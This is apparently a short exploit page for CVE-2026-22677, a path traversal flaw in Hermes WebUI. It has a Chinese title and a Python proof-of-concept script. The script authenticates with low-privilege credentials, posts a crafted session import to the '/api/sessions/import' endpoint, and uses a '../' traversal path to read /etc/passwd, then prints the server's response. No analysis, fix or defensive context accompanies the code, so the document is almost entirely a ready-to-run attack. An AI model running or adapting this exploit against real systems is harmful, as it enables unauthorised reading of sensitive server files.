CVE-2026-22677 Hermes WebUI路径遍历漏洞

import requests import json # Target URL (Replace with actual target) target_url = "http://localhost:8080/api/sessions/import" # Attacker credentials (Low privilege required) username = "attacker" password = "password" # Crafted session payload exploiting path traversal # The workspace is set to the root filesystem # The path uses relative traversal to access sensitive files payload = { "session": { "workspace": "/", "files": [ { # Using relative path to escape and read /etc/passwd "path": "../../../../../../../../etc/passwd", "operation": "read" } ] } } try: response = requests.post( target_url, auth=(username, password), json=payload, headers={"Content-Type": "application/json"} ) if response.status_code == 200: print("[+] Exploit successful!") print("[+] Response:") print(response.json()) else: print(f"[-] Exploit failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")